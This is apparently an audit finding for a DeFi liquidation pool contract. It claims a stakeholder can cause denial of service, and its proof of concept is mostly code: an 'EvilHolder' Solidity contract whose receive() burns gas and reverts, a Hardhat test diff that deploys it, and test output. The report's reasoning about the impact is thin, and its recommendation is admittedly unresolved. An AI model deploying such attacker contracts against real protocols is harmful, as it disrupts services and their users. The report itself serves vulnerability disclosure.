Summary
Any stake holder can deny service by spending gas money and reverting transaction.
Vulnerability Details
In order to see the vulnerability, create an evil holder contract as shown below and place it in the contracts/
folder.
Filename
EvilHolder.sol
Content
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "hardhat/console.sol";
interface ILiquidationPoolClaimRewards {
function claimRewards() external;
}
interface ILiquidationPoolIncreasePosition {
function increasePosition(uint256 _tstVal, uint256 _eurosVal) external;
}
contract EvilHolder {
address private i_liquidationPoolAddress;
address private i_TSTAddress;
address private i_EUROsAddress;
uint256 private constant AMOUNR_OF_TIME_TO_WASTE = 100_000;
constructor(address _liquidationPoolAddress, address _TSTAddress, address _EUROsAddress) {
i_liquidationPoolAddress = _liquidationPoolAddress;
i_TSTAddress = _TSTAddress;
i_EUROsAddress = _EUROsAddress;
}
function approveLiquidationPoolToBorrowStake(uint256 _stakeAmount) public {
ERC20(i_TSTAddress).approve(i_liquidationPoolAddress, _stakeAmount);
ERC20(i_EUROsAddress).approve(i_liquidationPoolAddress, _stakeAmount);
}
function increasePositionsInLiquidationPool(uint256 _stakeAmount) public {
ILiquidationPoolIncreasePosition(i_liquidationPoolAddress).increasePosition(_stakeAmount, _stakeAmount);
}
receive() external payable {
console.log("receive() called ");
uint256 j = 0;
for (uint256 i = 0; i < AMOUNR_OF_TIME_TO_WASTE; ++i) {
j += i;
}
revert();
}
function attack() public {
ILiquidationPoolClaimRewards(i_liquidationPoolAddress).claimRewards();
}
}
Now, you have to deploy it as follows:
Step 1:
In your tests/liquidationPool.js
, create a variable called EvilHolder
describe('LiquidationPool', async () => {
let user1, user2, user3, Protocol, LiquidationPoolManager, LiquidationPool, MockSmartVaultManager,
ERC20MockFactory, TST, EUROs;
+ let EvilHolder;
Now, at the end of beforeEach
function, wait for it to get deployed and pass in the address
of LiquidationPool
contract as shown
LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address)
+ EvilHolder = await (await ethers.getContractFactory('EvilHolder')).deploy(LiquidationPool.address, TST.address, EUROs.address);
+ await EvilHolder.deployed();
Now, let's scroll down to claim rewards
test suite. Inside the test suite, add the following test
Step 2
describe('claim rewards', async () => {
+ it('allows evil stake holder to deny service', async () => {
+
+ const ethCollateral = ethers.utils.parseEther('0.5');
+ const wbtcCollateral = BigNumber.from(1_000_000);
+ const usdcCollateral = BigNumber.from(500_000_000);
+ // create some funds to be "liquidated"
+ await user2.sendTransaction({to: MockSmartVaultManager.address, value: ethCollateral});
+ await WBTC.mint(MockSmartVaultManager.address, wbtcCollateral);
+ await USDC.mint(MockSmartVaultManager.address, usdcCollateral);
+
+ let stakeValue = ethers.utils.parseEther('10000');
+
+ await TST.mint(user1.address, stakeValue);
+ await EUROs.mint(user1.address, stakeValue);
+ await TST.connect(user1).approve(LiquidationPool.address, stakeValue);
+ await EUROs.connect(user1).approve(LiquidationPool.address, stakeValue);
+ await LiquidationPool.connect(user1).increasePosition(stakeValue, stakeValue);
+
+ await TST.mint(EvilHolder.address, stakeValue);
+ await EUROs.mint(EvilHolder.address, stakeValue);
+ await EvilHolder.approveLiquidationPoolToBorrowStake(stakeValue);
+ await EvilHolder.increasePositionsInLiquidationPool(stakeValue);
+
+ await fastForward(DAY);
+
+ await LiquidationPoolManager.runLiquidation(TOKEN_ID);
+
+ console.log("attack function called!")
+ let victim = EvilHolder.attack();
+ await expect(victim).to.be.reverted;
+
+ });
it('allows users to claim their accrued rewards', async () => {
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);
Now when you run npx hardhat test/liquidationPool.js
, you will find that the execution time is way more than normal and it is something you can increase by tweaking the variable AMOUNR_OF_TIME_TO_WASTE
inside EvilHolder.sol
This can potentially cause deny of service if done frequently. (You just have to get reward once and then you keep attack()
ing :P - revert()
will bail you out!)
Output snapshot
claim rewards
attack function called!
receive() called
✔ allows evil stake holder to deny service (22599ms)
Impact
Denial of service by keeping the contract busy.
Tools Used
Intense staring at the code base and help from equious.eth on discord (with hardhat javascript)
Recommendations
In the file LiquidationPool.sol
, execution is being handled to anonymous contract address.
A possible way to get around this would be to not support native ethereum hopefully but again I know it's not a solution .... and to be honest - I don't know ! :P .
function claimRewards() external {
ITokenManager.Token[] memory _tokens = ITokenManager(tokenManager).getAcceptedTokens();
for (uint256 i = 0; i < _tokens.length; i++) {
ITokenManager.Token memory _token = _tokens[i];
uint256 _rewardAmount = rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_rewardAmount > 0) {
delete rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_token.addr == address(0)) {
@> (bool _sent,) = payable(msg.sender).call{value: _rewardAmount}("");
@> require(_sent);
} else {
IERC20(_token.addr).transfer(msg.sender, _rewardAmount);
}
}
}
}